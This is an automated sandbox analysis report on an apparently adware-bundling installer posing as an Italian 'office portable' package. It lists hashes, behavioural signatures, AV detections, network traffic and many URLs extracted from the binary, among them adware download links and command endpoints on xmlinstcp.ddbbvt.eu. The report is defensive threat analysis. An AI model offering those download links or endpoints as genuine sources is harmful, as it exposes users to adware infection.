Play interactive tour

Edit tour

Windows Analysis Report installer_office_portable_3_2_0_Italian.exe

Overview

General Information

Sample Name:	installer_office_portable_3_2_0_Italian.exe
Analysis ID:	531760
MD5:	e6c1f02adf7a41957e63adcaf186e390
SHA1:	63ae3fd8d773719e557eda9f26280a6bdde8bcb1
SHA256:	7b4e6068fd889c7f6b603d1a4f1b58eb9f2fc3350ae571fefb185b5a6a1b78db
Infos:
Most interesting Screenshot:

Detection

Score:	88
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for domain / URL

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Machine Learning detection for sample

Machine Learning detection for dropped file

Uses 32bit PE files

Antivirus or Machine Learning detection for unpacked file

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Contains functionality to shutdown / reboot the system

Uses code obfuscation techniques (call, push, ret)

Internet Provider seen in connection with other malware

Detected potential crypto function

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to dynamically determine API calls

Found dropped PE file which has not been started or loaded

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a DirectInput object (often for capturing keystrokes)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Extensive use of GetProcAddress (often used to hide API calls)

Drops PE files

PE / OLE file has an invalid certificate

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Creates a process in suspended mode (likely to inject code)

Contains functionality for read data from the clipboard

Classification

Process Tree

System is w10x64

installer_office_portable_3_2_0_Italian.exe (PID: 2176 cmdline: "C:\Users\user\Desktop\installer_office_portable_3_2_0_Italian.exe" MD5: E6C1F02ADF7A41957E63ADCAF186E390)

cf2dInstaller.exe (PID: 4408 cmdline: C:\Users\user\AppData\Local\temp\cf2dInstaller.exe" /KEYWORD=cf2d "/PATHFILES=C:\Users\user\AppData\Local\temp\ MD5: 8A068C0F475218137F1C169063D27A46)

cleanup

Malware Configuration

No configs have been found

Yara Overview

No yara matches

Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus / Scanner detection for submitted sample

Show sources

Source: installer_office_portable_3_2_0_Italian.exe

Avira: detected

Multi AV Scanner detection for domain / URL

Show sources

Source: xmlinstcp.ddbbvt.eu

Virustotal: Detection: 6%

Perma Link

Antivirus detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\instloffer.exe	Avira: detection malicious, Label: ADWARE/Lollipop.168664
Source: C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe	Avira: detection malicious, Label: ADWARE/Vittalia.AB

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe	ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Local\Temp\instloffer.exe	Metadefender: Detection: 28%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\instloffer.exe	ReversingLabs: Detection: 52%
Source: C:\Users\user\AppData\Local\Temp\nshFB42.tmp\ToolkitOffers.dll	Metadefender: Detection: 21%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\nshFB42.tmp\ToolkitOffers.dll	ReversingLabs: Detection: 22%

Machine Learning detection for sample

Show sources

Source: installer_office_portable_3_2_0_Italian.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe

Joe Sandbox ML: detected

Source: 3.1.cf2dInstaller.exe.70550000.5.unpack

Avira: Label: TR/Crypt.XPACK.Gen7

Source: installer_office_portable_3_2_0_Italian.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe

File created: C:\Users\user\AppData\Local\Temp\license.rtf

Jump to behavior

Source: installer_office_portable_3_2_0_Italian.exe

Static PE information: TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: rC:\Proyectos\desktop_apps\MainExe_Installers\Installer\Release\InstallerVittalia.pdb source: installer_office_portable_3_2_0_Italian.exe
Source:	Binary string: C:\Proyectos\desktop_apps\MainExe_Installers\Installer\Release\InstallerVittalia.pdb source: installer_office_portable_3_2_0_Italian.exe
Source:	Binary string: C:\Proyectos\desktop_apps\NSIS\NSIS DLLs\Release\ToolkitOffers.pdb source: ToolkitOffers.dll.3.dr

Source: C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe	Code function: 3_2_00405D07 FindFirstFileA,FindClose,	3_2_00405D07
Source: C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe	Code function: 3_2_00405331 DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,	3_2_00405331
Source: C:\Users\user\AppData\Local\Temp\cf2dInstaller.exe	Code function: 3_2_0040263E FindFirstFileA,	3_2_0040263E

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic

Snort IDS: 2014071 ET MALWARE Adware.Gen5 Reporting 192.168.2.5:49755 -> 87.106.18.122:80

Source: Joe Sandbox View

ASN Name: ONEANDONE-ASBrauerstrasse48DE ONEANDONE-ASBrauerstrasse48DE

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.2Date: Wed, 01 Dec 2021 09:44:54 GMTContent-Type: text/htmlContent-Length: 169Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.2</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.2Date: Wed, 01 Dec 2021 09:44:54 GMTContent-Type: text/htmlContent-Length: 169Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.2</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.2Date: Wed, 01 Dec 2021 09:44:55 GMTContent-Type: text/htmlContent-Length: 169Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.2</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.2Date: Wed, 01 Dec 2021 09:44:55 GMTContent-Type: text/htmlContent-Length: 169Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.2</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.2Date: Wed, 01 Dec 2021 09:44:55 GMTContent-Type: text/htmlContent-Length: 169Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.2</center></body></html>

Source: cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	String found in binary or memory: http://coupondropdown.com/privacy.php
Source: cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	String found in binary or memory: http://coupondropdown.com/terms.php
Source: cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	String found in binary or memory: http://coupondropdown.com/terms.phphttp://coupondropdown.com/privacy.phpopen
Source: cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	String found in binary or memory: http://coupondropdown.com/terms.phpopen
Source: instloffer.exe.3.dr	String found in binary or memory: http://crl.globalsign.com/gs/gscodesigng2.crl0P
Source: config.xml.3.dr	String found in binary or memory: http://download.upd4ter.com/installers/down.php
Source: cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	String found in binary or memory: http://ginyas.com/term-privacy/
Source: cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	String found in binary or memory: http://ginyas.com/term-privacy/open
Source: cf2dInstaller.exe, 00000003.00000002.504187164.0000000000440000.00000004.00020000.sdmp, installer_office_portable_3_2_0_Italian.exe, cf2dInstaller.INI.0.dr	String found in binary or memory: http://media.sftvit.com/icoinstall/categories/windows.png
Source: config.xml.3.dr	String found in binary or memory: http://media.vitavita.com.es/
Source: cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	String found in binary or memory: http://media.vitavita.com.es/xmlstatic/ads/eazel.html
Source: cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	String found in binary or memory: http://media.vitavita.com.es/xmlstatic/ads/eazel.htmlShowWebInPage
Source: cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	String found in binary or memory: http://media.vitavita.com.es/xmlstatic/installers/software/babylon/MyBabylonTB.exe
Source: cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	String found in binary or memory: http://media.vitavita.com.es/xmlstatic/installers/software/babylon/babylonv3.exe
Source: cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	String found in binary or memory: http://media.vitavita.com.es/xmlstatic/installers/software/babylon/tbb903.exe
Source: cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	String found in binary or memory: http://media.vitavita.com.es/xmlstatic/installers/software/coupish/Coupish_vittalia_eazel.exe
Source: cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	String found in binary or memory: http://media.vitavita.com.es/xmlstatic/installers/software/coupondropdown/eazel/CouponDropDown.exe
Source: cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	String found in binary or memory: http://media.vitavita.com.es/xmlstatic/installers/software/dealply/dp.exe
Source: cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	String found in binary or memory: http://media.vitavita.com.es/xmlstatic/installers/software/lollipop/LollipopInstaller_vittalia_14618
Source: cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	String found in binary or memory: http://media.vitavita.com.es/xmlstatic/installers/software/net/dotnetfxsp1x86.exe
Source: cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	String found in binary or memory: http://media.vitavita.com.es/xmlstatic/installers/software/offerbox/eazel/OfferBoxSetup.exe
Source: cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	String found in binary or memory: http://media.vitavita.com.es/xmlstatic/installers/software/sterkly/Yontoo-C2.exe
Source: cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	String found in binary or memory: http://media.vitavita.com.es/xmlstatic/installers/software/uniblue/speedupmypc/eazel/speedupmypc.exe
Source: cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	String found in binary or memory: http://media.vitavita.com.es/xmlstatic/installers/software/updater/softwareupdater.exe
Source: cf2dInstaller.exe, cf2dInstaller.exe, 00000003.00000002.504030164.0000000000409000.00000004.00020000.sdmp, cf2dInstaller.exe, 00000003.00000000.248377097.0000000000409000.00000008.00020000.sdmp, installer_office_portable_3_2_0_Italian.exe, instloffer.exe.3.dr, cf2dInstaller.exe.0.dr	String found in binary or memory: http://nsis.sf.net/NSIS_Error
Source: installer_office_portable_3_2_0_Italian.exe, instloffer.exe.3.dr, cf2dInstaller.exe.0.dr	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: cf2dInstaller.exe, 00000003.00000002.504187164.0000000000440000.00000004.00020000.sdmp, installer_office_portable_3_2_0_Italian.exe, cf2dInstaller.INI.0.dr	String found in binary or memory: http://pf.dlvit.com/s/3/9/39073-91837-office-portable.exe
Source: instloffer.exe.3.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesigng2.crt0
Source: config.xml.3.dr	String found in binary or memory: http://services.upd4ter.com/services.php
Source: cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	String found in binary or memory: http://srv14.marsads.com/srv/click/?prd_id=254058&pub_id=408&p1=107
Source: cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	String found in binary or memory: http://www.babylon.com/info/terms.html#babylon-toolbar
Source: cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	String found in binary or memory: http://www.babylon.com/info/terms.html#babylon-toolbarhttp://www.babylon.com/toolbar_blank.htmlopen
Source: cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	String found in binary or memory: http://www.babylon.com/info/terms.html#babylon-toolbaropen
Source: cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	String found in binary or memory: http://www.babylon.com/redirects/redir.cgi?type=babylon_toolbar_eula
Source: cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	String found in binary or memory: http://www.babylon.com/redirects/redir.cgi?type=babylon_toolbar_eulaopen
Source: cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	String found in binary or memory: http://www.babylon.com/toolbar_blank.html
Source: cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	String found in binary or memory: http://www.dealply.com/optimize/
Source: cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	String found in binary or memory: http://www.dealply.com/terms/
Source: cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	String found in binary or memory: http://www.dealply.com/terms/http://www.dealply.com/optimize/open
Source: cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	String found in binary or memory: http://www.dealply.com/terms/open
Source: cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	String found in binary or memory: http://www.eazel.com
Source: cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	String found in binary or memory: http://www.eazel.com/lv/afterdownload/view.htm?product=
Source: cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	String found in binary or memory: http://www.eazel.comArial11.25Arial
Source: cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	String found in binary or memory: http://www.eazel.comopen
Source: cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	String found in binary or memory: http://www.freetwittube.com/privacy
Source: cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	String found in binary or memory: http://www.freetwittube.com/terms
Source: cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	String found in binary or memory: http://www.freetwittube.com/termshttp://www.freetwittube.com/privacyopen
Source: cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	String found in binary or memory: http://www.getpricepeep.com/privacy
Source: cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	String found in binary or memory: http://www.getpricepeep.com/privacyopen
Source: cf2dInstaller.exe, 00000003.00000003.332151567.00000000007F6000.00000004.00000001.sdmp, cf2dInstaller.exe, 00000003.00000002.505222952.0000000000812000.00000004.00000001.sdmp, cf2dInstaller.exe, 00000003.00000003.332078183.0000000000815000.00000004.00000001.sdmp, cf2dInstaller.exe, 00000003.00000003.271201518.00000000007FB000.00000004.00000001.sdmp, cf2dInstaller.exe, 00000003.00000002.505145308.00000000007F6000.00000004.00000001.sdmp, license.rtf.3.dr	String found in binary or memory: http://www.google.com/intl/es_ALL/privacypolicy.html
Source: cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	String found in binary or memory: http://www.lollipop-network.com/eula.php?lg=it
Source: cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	String found in binary or memory: http://www.lollipop-network.com/eula.php?lg=ithttp://www.lollipop-network.com/privacy.php?lg=itopen
Source: cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	String found in binary or memory: http://www.lollipop-network.com/eula.php?lg=itopen
Source: cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	String found in binary or memory: http://www.lollipop-network.com/privacy.php?lg=it
Source: cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	String found in binary or memory: http://www.lollipop-network.com/privacy.php?lg=itopen
Source: cf2dInstaller.exe, 00000003.00000003.332151567.00000000007F6000.00000004.00000001.sdmp, cf2dInstaller.exe, 00000003.00000002.505222952.0000000000812000.00000004.00000001.sdmp, cf2dInstaller.exe, 00000003.00000003.332078183.0000000000815000.00000004.00000001.sdmp, cf2dInstaller.exe, 00000003.00000003.271201518.00000000007FB000.00000004.00000001.sdmp, cf2dInstaller.exe, 00000003.00000002.505145308.00000000007F6000.00000004.00000001.sdmp, license.rtf.3.dr	String found in binary or memory: http://www.netratings.com/corp.jsp?section=leg_scs_es&nav=3
Source: cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	String found in binary or memory: http://www.offerbox.com/it/legal/eula
Source: cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	String found in binary or memory: http://www.offerbox.com/it/legal/eulahttp://www.offerbox.com/it/privacyopen
Source: cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	String found in binary or memory: http://www.offerbox.com/it/legal/eulaopen
Source: cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	String found in binary or memory: http://www.offerbox.com/it/privacy
Source: cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	String found in binary or memory: http://www.onekit.com/terms-updater.html
Source: cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	String found in binary or memory: http://www.onekit.com/terms-updater.html460
Source: cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	String found in binary or memory: http://www.onekit.com/terms-updater.htmlopen
Source: cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	String found in binary or memory: http://www.uniblue.com/privacy/
Source: cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	String found in binary or memory: http://www.uniblue.com/software/speedupmypc/eula/
Source: cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	String found in binary or memory: http://www.uniblue.com/software/speedupmypc/eula/http://www.uniblue.com/privacy/open
Source: cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	String found in binary or memory: http://www.uniblue.com/software/speedupmypc/eula/open
Source: config.xml.3.dr	String found in binary or memory: http://www.uplstatsone.com
Source: config.xml.3.dr	String found in binary or memory: http://www.uplstatsone.com/cmd/IP.php
Source: config.xml.3.dr	String found in binary or memory: http://www.uplstatsone.com/cmd/geo.php
Source: installer_office_portable_3_2_0_Italian.exe, cf2dInstaller.exe.0.dr	String found in binary or memory: http://www.vittalia.com0
Source: cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	String found in binary or memory: http://www.yontoo.com/PrivacyPolicy.aspx
Source: cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	String found in binary or memory: http://www.yontoo.com/PrivacyPolicy.aspxhttp://www.freetwittube.com/termsopen
Source: cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	String found in binary or memory: http://www.yontoo.com/TermsOfService.aspx
Source: cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	String found in binary or memory: http://www.yontoo.com/TermsOfService.aspxhttp://www.yontoo.com/PrivacyPolicy.aspxopen
Source: cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	String found in binary or memory: http://www.yontoo.com/TermsOfService.aspxopen
Source: cf2dInstaller.exe, 00000003.00000002.504992245.00000000007DF000.00000004.00000001.sdmp, cf2dInstaller.exe, 00000003.00000003.332132064.00000000007DF000.00000004.00000001.sdmp	String found in binary or memory: http://xmlinstcp.ddbbvt.
Source: cf2dInstaller.exe, 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp, cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	String found in binary or memory: http://xmlinstcp.ddbbvt.eu/cmd/api.php
Source: cf2dInstaller.exe, 00000003.00000002.504819806.00000000007BD000.00000004.00000001.sdmp, cf2dInstaller.exe, 00000003.00000003.332106974.00000000007BD000.00000004.00000001.sdmp	String found in binary or memory: http://xmlinstcp.ddbbvt.eu/cmd/api.php?action=enduser&enduser_id=
Source: cf2dInstaller.exe, 00000003.00000002.504992245.00000000007DF000.00000004.00000001.sdmp, cf2dInstaller.exe, 00000003.00000002.504391794.0000000000750000.00000004.00000020.sdmp, cf2dInstaller.exe, 00000003.00000003.332093222.00000000007A1000.00000004.00000001.sdmp, cf2dInstaller.exe, 00000003.00000003.332132064.00000000007DF000.00000004.00000001.sdmp, cf2dInstaller.exe, 00000003.00000002.504707917.00000000007A2000.00000004.00000001.sdmp	String found in binary or memory: http://xmlinstcp.ddbbvt.eu/cmd/api.php?action=getofferbyweight&offer_ids=/noempty&weights=/noempty
Source: cf2dInstaller.exe, 00000003.00000002.504569470.0000000000783000.00000004.00000020.sdmp, cf2dInstaller.exe, 00000003.00000003.332112617.00000000007C3000.00000004.00000001.sdmp, cf2dInstaller.exe, 00000003.00000002.504874778.00000000007C3000.00000004.00000001.sdmp	String found in binary or memory: http://xmlinstcp.ddbbvt.eu/cmd/api.php?action=newenduser
Source: cf2dInstaller.exe, 00000003.00000003.332112617.00000000007C3000.00000004.00000001.sdmp, cf2dInstaller.exe, 00000003.00000002.504874778.00000000007C3000.00000004.00000001.sdmp	String found in binary or memory: http://xmlinstcp.ddbbvt.eu/cmd/api.php?action=newenduserH
Source: cf2dInstaller.exe, 00000003.00000002.504569470.0000000000783000.00000004.00000020.sdmp, cf2dInstaller.exe, 00000003.00000003.332093222.00000000007A1000.00000004.00000001.sdmp, cf2dInstaller.exe, 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp, cf2dInstaller.exe, 00000003.00000002.504707917.00000000007A2000.00000004.00000001.sdmp, cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	String found in binary or memory: http://xmlinstcp.ddbbvt.eu/cmd/geo.php
Source: cf2dInstaller.exe, 00000003.00000003.332093222.00000000007A1000.00000004.00000001.sdmp, cf2dInstaller.exe, 00000003.00000002.504707917.00000000007A2000.00000004.00000001.sdmp	String found in binary or memory: http://xmlinstcp.ddbbvt.eu/cmd/geo.phpHw7)
Source: cf2dInstaller.exe, 00000003.00000002.504428459.000000000075A000.00000004.00000020.sdmp	String found in binary or memory: http://xmlinstcp.ddbbvt.eu/cmd/geo.phpI
Source: cf2dInstaller.exe, 00000003.00000002.504569470.0000000000783000.00000004.00000020.sdmp	String found in binary or memory: http://xmlinstcp.ddbbvt.eu/cmd/geo.phpV
Source: cf2dInstaller.exe, 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp	String found in binary or memory: http://xmlinstcp.ddbbvt.eu/cmd/geo.phphttp://xmlinstcp.ddbbvt.eu/cmd/promo_counter.phphttp://xmlinst
Source: cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	String found in binary or memory: http://xmlinstcp.ddbbvt.eu/cmd/geo.phphttp://xmlinstcp.ddbbvt.eu/cmd/report.phphttp://xmlinstcp.ddbb
Source: cf2dInstaller.exe, 00000003.00000002.504569470.0000000000783000.00000004.00000020.sdmp	String found in binary or memory: http://xmlinstcp.ddbbvt.eu/cmd/geo.phplencodedr
Source: cf2dInstaller.exe, 00000003.00000003.332093222.00000000007A1000.00000004.00000001.sdmp, cf2dInstaller.exe, 00000003.00000002.504707917.00000000007A2000.00000004.00000001.sdmp	String found in binary or memory: http://xmlinstcp.ddbbvt.eu/cmd/geo.phpyCw
Source: cf2dInstaller.exe, 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp, cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	String found in binary or memory: http://xmlinstcp.ddbbvt.eu/cmd/promo_counter.php
Source: cf2dInstaller.exe, 00000003.00000002.504168801.000000000043C000.00000004.00020000.sdmp, cf2dInstaller.exe, 00000003.00000002.505685765.0000000002519000.00000004.00000001.sdmp	String found in binary or memory: http://xmlinstcp.ddbbvt.eu/cmd/report.php
Source: cf2dInstaller.exe, 00000003.00000002.504992245.00000000007DF000.00000004.00000001.sdmp, cf2dInstaller.exe, 00000003.00000003.332132064.00000000007DF000.00000004.00000001.sdmp	String found in binary or memory: http://xmlinstcp.ddbbvt.eu/cmd/report.php?Partne
